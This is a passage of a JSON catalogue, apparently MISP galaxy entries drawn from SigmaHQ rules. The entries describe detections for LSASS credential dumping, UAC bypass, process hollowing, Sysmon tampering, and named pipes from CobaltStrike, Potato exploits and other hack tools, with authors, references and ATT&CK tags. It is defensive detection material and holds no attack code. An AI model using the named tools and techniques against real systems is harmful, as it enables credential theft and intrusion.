          "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dump-credentials-from-lsass-process-without-mimikatz",
          "https://twitter.com/_xpn_/status/1491557187168178176",
          "https://twitter.com/mrd0x/status/1460597833917251595",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_whitelisted_process_names.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.001",
          "attack.s0002"
        ]
      },
      "related": [
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        }
      ],
      "uuid": "4be8b654-0c01-4c9d-a10c-6b28467fc651",
      "value": "LSASS Access From Potentially White-Listed Processes"
    },
    {
      "description": "Detects LSASS process access for potential credential dumping by a Python-like tool such as LaZagne or Pypykatz.",
      "meta": {
        "author": "Bhabesh Raj, Jonhnathan Ribeiro",
        "creation_date": "2023/11/27",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_access_win_lsass_python_based_tool.yml",
        "level": "high",
        "logsource.category": "process_access",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/bh4b3sh/status/1303674603819081728",
          "https://github.com/skelsec/pypykatz",
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        ],
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        {
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      "uuid": "f8be3e82-46a3-4e4e-ada5-8e538ae8b9c9",
      "value": "Credential Dumping Activity By Python Based Tool"
    },
    {
      "description": "Detects HandleKatz opening LSASS to duplicate its handle to later dump the memory without opening any new handles",
      "meta": {
        "author": "Bhabesh Raj (rule), @thefLinkk",
        "creation_date": "2022/06/27",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_access_win_hktl_handlekatz_lsass_access.yml",
        "level": "high",
        "logsource.category": "process_access",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/codewhitesec/HandleKatz",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_hktl_handlekatz_lsass_access.yml"
        ],
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          "attack.execution",
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        {
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            "estimative-language:likelihood-probability=\"almost-certain\""
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      "uuid": "b1bd3a59-c1fd-4860-9f40-4dd161a7d1f5",
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      "description": "Detects LSASS process access requests from a source process with the \"dump\" keyword in its image name.",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
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          "Rare programs that contain the word dump in their name and access lsass"
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        "filename": "proc_access_win_lsass_dump_keyword_image.yml",
        "level": "high",
        "logsource.category": "process_access",
        "logsource.product": "windows",
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          "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dump-credentials-from-lsass-process-without-mimikatz",
          "https://twitter.com/_xpn_/status/1491557187168178176",
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      ],
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      "meta": {
        "author": "oscd.community, Dmitry Uchakin",
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          "Unknown"
        ],
        "filename": "proc_access_win_uac_bypass_editionupgrademanagerobj.yml",
        "level": "medium",
        "logsource.category": "process_access",
        "logsource.product": "windows",
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          "https://gist.github.com/hfiref0x/de9c83966623236f5ebf8d9ae2407611",
          "https://www.snip2code.com/Snippet/4397378/UAC-bypass-using-EditionUpgradeManager-C/",
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        ],
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            "estimative-language:likelihood-probability=\"almost-certain\""
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      "uuid": "fb3722e4-1a06-46b6-b772-253e2e7db933",
      "value": "Function Call From Undocumented COM Interface EditionUpgradeManager"
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      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/09/07",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_access_win_hktl_sysmonente.yml",
        "level": "high",
        "logsource.category": "process_access",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/codewhitesec/SysmonEnte/",
          "https://github.com/codewhitesec/SysmonEnte/blob/main/screens/1.png",
          "https://codewhitesec.blogspot.com/2022/09/attacks-on-sysmon-revisited-sysmonente.html",
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          "attack.defense_evasion",
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        {
          "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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      "uuid": "d29ada0f-af45-4f27-8f32-f7b77c3dbc4e",
      "value": "HackTool - SysmonEnte Execution"
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      "description": "Detects when a memory process image does not match the disk image, indicative of process hollowing.",
      "meta": {
        "author": "Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Sittikorn S",
        "creation_date": "2022/01/25",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_tampering_susp_process_hollowing.yml",
        "level": "medium",
        "logsource.category": "process_tampering",
        "logsource.product": "windows",
        "refs": [
          "https://www.bleepingcomputer.com/news/microsoft/microsoft-sysmon-now-detects-malware-process-tampering-attempts/",
          "https://twitter.com/SecurePeacock/status/1486054048390332423?s=20",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_tampering/proc_tampering_susp_process_hollowing.yml"
        ],
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          "attack.defense_evasion",
          "attack.privilege_escalation",
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      "related": [
        {
          "dest-uuid": "b200542e-e877-4395-875b-cf1a44537ca4",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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      ],
      "uuid": "c4b890e5-8d8c-4496-8c66-c805753817cd",
      "value": "Potential Process Hollowing Activity"
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      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/16",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "sysmon_file_block_executable.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://medium.com/@olafhartong/sysmon-14-0-fileblockexecutable-13d7ba3dff3e",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_file_block_executable.yml"
        ],
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          "attack.defense_evasion"
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      "uuid": "23b71bc5-953e-4971-be4c-c896cda73fc2",
      "value": "Sysmon Blocked Executable"
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      "meta": {
        "author": "frack113",
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        "falsepositive": [
          "Legitimate administrative action"
        ],
        "filename": "sysmon_config_modification.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_config_modification.yml"
        ],
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          "attack.defense_evasion"
        ]
      },
      "uuid": "8ac03a65-6c84-4116-acad-dc1558ff7a77",
      "value": "Sysmon Configuration Change"
    },
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      "description": "Triggers on any Sysmon \"FileBlockShredding\" event, which indicates a violation of the configured shredding policy.",
      "meta": {
        "author": "frack113",
        "creation_date": "2023/07/20",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "sysmon_file_block_shredding.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_file_block_shredding.yml"
        ],
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          "attack.defense_evasion"
        ]
      },
      "uuid": "c3e5c1b1-45e9-4632-b242-27939c170239",
      "value": "Sysmon Blocked File Shredding"
    },
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      "description": "Detects when an adversary is trying to hide it's action from Sysmon logging based on error messages",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/06/04",
        "falsepositive": [
          "Legitimate administrative action"
        ],
        "filename": "sysmon_config_modification_error.yml",
        "level": "high",
        "logsource.category": "sysmon_error",
        "logsource.product": "windows",
        "refs": [
          "https://talesfrominfosec.blogspot.com/2017/12/killing-sysmon-silently.html",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_config_modification_error.yml"
        ],
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          "attack.defense_evasion",
          "attack.t1564"
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      },
      "related": [
        {
          "dest-uuid": "22905430-4901-4c2a-84f6-98243cb173f8",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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      "uuid": "815cd91b-7dbc-4247-841a-d7dd1392b0a8",
      "value": "Sysmon Configuration Error"
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      "description": "Detects when an attacker tries to hide from Sysmon by disabling or stopping it",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/06/04",
        "falsepositive": [
          "Legitimate administrative action"
        ],
        "filename": "sysmon_config_modification_status.yml",
        "level": "high",
        "logsource.category": "sysmon_status",
        "logsource.product": "windows",
        "refs": [
          "https://talesfrominfosec.blogspot.com/2017/12/killing-sysmon-silently.html",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_config_modification_status.yml"
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          "attack.defense_evasion",
          "attack.t1564"
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      "related": [
        {
          "dest-uuid": "22905430-4901-4c2a-84f6-98243cb173f8",
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      "uuid": "1f2b5353-573f-4880-8e33-7d04dcf97744",
      "value": "Sysmon Configuration Modification"
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      "description": "Triggers on any Sysmon \"FileExecutableDetected\" event, which triggers every time a PE that is monitored by the config is created.",
      "meta": {
        "author": "frack113",
        "creation_date": "2023/07/20",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "sysmon_file_executable_detected.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon",
          "https://medium.com/@olafhartong/sysmon-15-0-file-executable-detected-40fd64349f36",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_file_executable_detected.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "693a44e9-7f26-4cb6-b787-214867672d3a",
      "value": "Sysmon File Executable Creation Detected"
    },
    {
      "description": "Detects the creation of a named pipe as used by CobaltStrike",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Wojciech Lesicki",
        "creation_date": "2021/05/25",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "pipe_created_hktl_cobaltstrike.yml",
        "level": "critical",
        "logsource.category": "pipe_created",
        "logsource.product": "windows",
        "refs": [
          "https://blog.cobaltstrike.com/2021/02/09/learn-pipe-fitting-for-all-of-your-offense-projects/",
          "https://redcanary.com/threat-detection-report/threats/cobalt-strike/",
          "https://labs.f-secure.com/blog/detecting-cobalt-strike-default-modules-via-named-pipe-analysis/",
          "https://twitter.com/d4rksystem/status/1357010969264873472",
          "https://github.com/SigmaHQ/sigma/issues/253",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_hktl_cobaltstrike.yml"
        ],
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          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1055"
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      },
      "related": [
        {
          "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        }
      ],
      "uuid": "d5601f8c-b26f-4ab0-9035-69e11a8d4ad2",
      "value": "CobaltStrike Named Pipe"
    },
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      "description": "Detects creation of default named pipe used by the DiagTrackEoP POC, a tool that abuses \"SeImpersonate\" privilege.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/03",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "pipe_created_hktl_diagtrack_eop.yml",
        "level": "critical",
        "logsource.category": "pipe_created",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/Wh04m1001/DiagTrackEoP/blob/3a2fc99c9700623eb7dc7d4b5f314fd9ce5ef51f/main.cpp#L22",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_hktl_diagtrack_eop.yml"
        ],
        "tags": [
          "attack.privilege_escalation"
        ]
      },
      "uuid": "1f7025a6-e747-4130-aac4-961eb47015f1",
      "value": "HackTool - DiagTrackEoP Default Named Pipe"
    },
    {
      "description": "Detects the pattern of a pipe name as used by the hack tool EfsPotato",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/08/23",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "pipe_created_hktl_efspotato.yml",
        "level": "high",
        "logsource.category": "pipe_created",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/SBousseaden/status/1429530155291193354?s=20",
          "https://github.com/zcgonvh/EfsPotato",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_hktl_efspotato.yml"
        ],
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          "attack.defense_evasion",
          "attack.privilege_escalation",
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      },
      "related": [
        {
          "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        }
      ],
      "uuid": "637f689e-b4a5-4a86-be0e-0100a0a33ba2",
      "value": "HackTool - EfsPotato Named Pipe Creation"
    },
    {
      "description": "Detects PAExec default named pipe",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/10/26",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "pipe_created_paexec_default_pipe.yml",
        "level": "medium",
        "logsource.category": "pipe_created",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/efa17a600b43c897b4b7463cc8541daa1987eeb4/Command%20and%20Control/C2-NamedPipe.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_paexec_default_pipe.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1569.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        }
      ],
      "uuid": "f6451de4-df0a-41fa-8d72-b39f54a08db5",
      "value": "PAExec Default Named Pipe"
    },
    {
      "description": "Detects execution of PowerShell via creation of named pipe starting with PSHost",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)",
        "creation_date": "2019/09/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "pipe_created_powershell_execution_pipe.yml",
        "level": "informational",
        "logsource.category": "pipe_created",
        "logsource.product": "windows",
        "refs": [
          "https://threathunterplaybook.com/hunts/windows/190610-PwshAlternateHosts/notebook.html",
          "https://threathunterplaybook.com/hunts/windows/190410-LocalPwshExecution/notebook.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_powershell_execution_pipe.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
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          ],
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        }
      ],
      "uuid": "ac7102b4-9e1e-4802-9b4f-17c5524c015c",
      "value": "PowerShell Execution Via Named Pipe"
    },
    {
      "description": "Detects default RemCom pipe creation",
      "meta": {
        "author": "Nikita Nazarov, oscd.community, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/08/07",
        "falsepositive": [
          "Legitimate Administrator activity"
        ],
        "filename": "pipe_created_remcom_default_pipe.yml",
        "level": "medium",
        "logsource.category": "pipe_created",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/kavika13/RemCom",
          "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_remcom_default_pipe.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.t1021.002",
          "attack.execution",
          "attack.t1569.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d36f87ea-c403-44d2-aa79-1a0ac7c24456",
      "value": "RemCom Default Named Pipe"
    },
    {
      "description": "Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe",
      "meta": {
        "author": "Roberto Rodriguez @Cyb3rWard0g, Tim Shelton",
        "creation_date": "2019/09/12",
        "falsepositive": [
          "Programs using PowerShell directly without invocation of a dedicated interpreter."
        ],
        "filename": "pipe_created_powershell_alternate_host_pipe.yml",
        "level": "medium",
        "logsource.category": "pipe_created",
        "logsource.product": "windows",
        "refs": [
          "https://threathunterplaybook.com/hunts/windows/190610-PwshAlternateHosts/notebook.html",
          "https://threathunterplaybook.com/hunts/windows/190410-LocalPwshExecution/notebook.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_powershell_alternate_host_pipe.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "58cb02d5-78ce-4692-b3e1-dce850aae41a",
      "value": "Alternate PowerShell Hosts Pipe"
    },
    {
      "description": "Detects the creation of a named pipe seen used by known APTs or malware.",
      "meta": {
        "author": "Florian Roth (Nextron Systems), blueteam0ps, elhoim",
        "creation_date": "2017/11/06",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "pipe_created_mal_namedpipes.yml",
        "level": "critical",
        "logsource.category": "pipe_created",
        "logsource.product": "windows",
        "refs": [
          "https://www.us-cert.gov/ncas/alerts/TA17-117A",
          "https://securelist.com/faq-the-projectsauron-apt/75533/",
          "https://download.bitdefender.com/resources/files/News/CaseStudies/study/115/Bitdefender-Whitepaper-PAC-A4-en-EN1.pdf",
          "https://us-cert.cisa.gov/ncas/analysis-reports/ar19-304a",
          "https://securelist.com/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/71275/",
          "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity",
          "https://github.com/RiccardoAncarani/LiquidSnake",
          "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html",
          "https://thedfirreport.com/2020/06/21/snatch-ransomware/",
          "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/",
          "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/",
          "https://web.archive.org/web/20180725233601/https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_mal_namedpipes.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1055"
        ]
      },
      "related": [
        {
          "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "fe3ac066-98bb-432a-b1e7-a5229cb39d4a",
      "value": "Malicious Named Pipe Created"
    },
    {
      "description": "Detects the creation of a named pipe with a pattern found in CobaltStrike malleable C2 profiles",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Christian Burkard (Nextron Systems)",
        "creation_date": "2021/07/30",
        "falsepositive": [
          "Chrome instances using the exact same pipe name \"mojo.xxx\""
        ],
        "filename": "pipe_created_hktl_cobaltstrike_susp_pipe_patterns.yml",
        "level": "high",
        "logsource.category": "pipe_created",
        "logsource.product": "windows",
        "refs": [
          "https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575",
          "https://gist.github.com/MHaggis/6c600e524045a6d49c35291a21e10752",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_hktl_cobaltstrike_susp_pipe_patterns.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1055",
          "stp.1k"
        ]
      },
      "related": [
        {
          "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "85adeb13-4fc9-4e68-8a4a-c7cb2c336eb7",
      "value": "CobaltStrike Named Pipe Patterns"
    },
    {
      "description": "Detects well-known credential dumping tools execution via specific named pipe creation",
      "meta": {
        "author": "Teymur Kheirkhabarov, oscd.community",
        "creation_date": "2019/11/01",
        "falsepositive": [
          "Legitimate Administrator using tool for password recovery"
        ],
        "filename": "pipe_created_hktl_generic_cred_dump_tools_pipes.yml",
        "level": "critical",
        "logsource.category": "pipe_created",
        "logsource.product": "windows",
        "refs": [
          "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment",
          "https://image.slidesharecdn.com/zeronights2017kheirkhabarov-171118103000/75/hunting-for-credentials-dumping-in-windows-environment-57-2048.jpg?cb=1666035799",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_hktl_generic_cred_dump_tools_pipes.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.001",
          "attack.t1003.002",
          "attack.t1003.004",
          "attack.t1003.005"
        ]
      },
      "related": [
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "6add2ab5-2711-4e9d-87c8-7a0be8531530",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "961d0ba2-3eea-4303-a930-2cf78bbfcc5e",
      "value": "HackTool - Credential Dumping Tools Named Pipe Created"
    },
    {
      "description": "Detects default CSExec pipe creation",
      "meta": {
        "author": "Nikita Nazarov, oscd.community, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/08/07",
        "falsepositive": [
          "Legitimate Administrator activity"
        ],
        "filename": "pipe_created_csexec_default_pipe.yml",
        "level": "medium",
        "logsource.category": "pipe_created",
        "logsource.product": "windows",
        "refs": [
          "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view",
          "https://github.com/malcomvetter/CSExec",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_csexec_default_pipe.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.t1021.002",
          "attack.execution",
          "attack.t1569.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f318b911-ea88-43f4-9281-0de23ede628e",
      "value": "CSExec Default Named Pipe"
    },
    {
      "description": "Detects creation of default named pipes used by the Koh tool",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/08",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "pipe_created_hktl_koh_default_pipe.yml",
        "level": "critical",
        "logsource.category": "pipe_created",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/GhostPack/Koh/blob/0283d9f3f91cf74732ad377821986cfcb088e20a/Clients/BOF/KohClient.c#L12",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_hktl_koh_default_pipe.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.credential_access",
          "attack.t1528",
          "attack.t1134.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "890c9858-598c-401d-a4d5-c67ebcdd703a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "86850eff-2729-40c3-b85e-c4af26da4a2d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0adc67e0-a68f-4ffd-9c43-28905aad5d6a",
      "value": "HackTool - Koh Default Named Pipe"
    },
    {
      "description": "Detects suspicious local connections via a named pipe to the AD FS configuration database (Windows Internal Database).\nUsed to access information such as the AD FS configuration settings which contains sensitive information used to sign SAML tokens.\n",
      "meta": {
        "author": "Roberto Rodriguez @Cyb3rWard0g",
        "creation_date": "2021/10/08",
        "falsepositive": [
          "Processes in the filter condition"
        ],
        "filename": "pipe_created_susp_adfs_namedpipe_connection.yml",
        "level": "high",
        "logsource.category": "pipe_created",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/Azure/Azure-Sentinel/blob/f99542b94afe0ad2f19a82cc08262e7ac8e1428e/Detections/SecurityEvent/ADFSDBNamedPipeConnection.yaml",
          "https://github.com/Azure/SimuLand",
          "https://o365blog.com/post/adfs/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_susp_adfs_namedpipe_connection.yml"
        ],
        "tags": [
          "attack.collection",
          "attack.t1005"
        ]
      },
      "related": [
        {
          "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1ea13e8c-03ea-409b-877d-ce5c3d2c1cb3",
      "value": "ADFS Database Named Pipe Connection"
    },
    {
      "description": "Detects the WMI Event Consumer service scrcons.exe creating a named pipe",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/09/01",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "pipe_created_scrcons_wmi_consumer_namedpipe.yml",
        "level": "high",
        "logsource.category": "pipe_created",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/RiccardoAncarani/LiquidSnake",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_scrcons_wmi_consumer_namedpipe.yml"
        ],
        "tags": [
          "attack.t1047",
          "attack.execution"
        ]
      },
      "related": [
        {
          "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "493fb4ab-cdcc-4c4f-818c-0e363bd1e4bb",
      "value": "WMI Event Consumer Created Named Pipe"
    },
    {
      "description": "Detects the creation of a named pipe matching a pattern used by CobaltStrike Malleable C2 profiles",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/07/30",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "pipe_created_hktl_cobaltstrike_re.yml",
        "level": "critical",
        "logsource.category": "pipe_created",
        "logsource.product": "windows",
        "refs": [
          "https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575",
          "https://gist.github.com/MHaggis/6c600e524045a6d49c35291a21e10752",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_hktl_cobaltstrike_re.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1055"
        ]
      },
      "related": [
        {
          "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0e7163d4-9e19-4fa7-9be6-000c61aad77a",
      "value": "CobaltStrike Named Pipe Pattern Regex"
    },
    {
      "description": "Detects the pattern of a pipe name as used by the hack tool CoercedPotato",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2023/10/11",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "pipe_created_hktl_coercedpotato.yml",
        "level": "high",
        "logsource.category": "pipe_created",
        "logsource.product": "windows",
        "refs": [
          "https://blog.hackvens.fr/articles/CoercedPotato.html",
          "https://github.com/hackvens/CoercedPotato",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_hktl_coercedpotato.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1055"
        ]
      },
      "related": [
        {
          "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4d0083b3-580b-40da-9bba-626c19fe4033",
      "value": "HackTool - CoercedPotato Named Pipe Creation"
    },
    {
      "description": "Detects PsExec default pipe creation where the image executed is located in a suspicious location. Which could indicate that the tool is being used in an attack",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/04",
        "falsepositive": [
          "Rare legitimate use of psexec from the locations mentioned above. This will require initial tuning based on your environment."
        ],
        "filename": "pipe_created_sysinternals_psexec_default_pipe_susp_location.yml",
        "level": "medium",
        "logsource.category": "pipe_created",
        "logsource.product": "windows",
        "refs": [
          "https://www.jpcert.or.jp/english/pub/sr/ir_research.html",
          "https://jpcertcc.github.io/ToolAnalysisResultSheet",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_sysinternals_psexec_default_pipe_susp_location.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1569.002",
          "attack.s0029"
        ]
      },
      "related": [
        {
          "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "41504465-5e3a-4a5b-a5b4-2a0baadd4463",
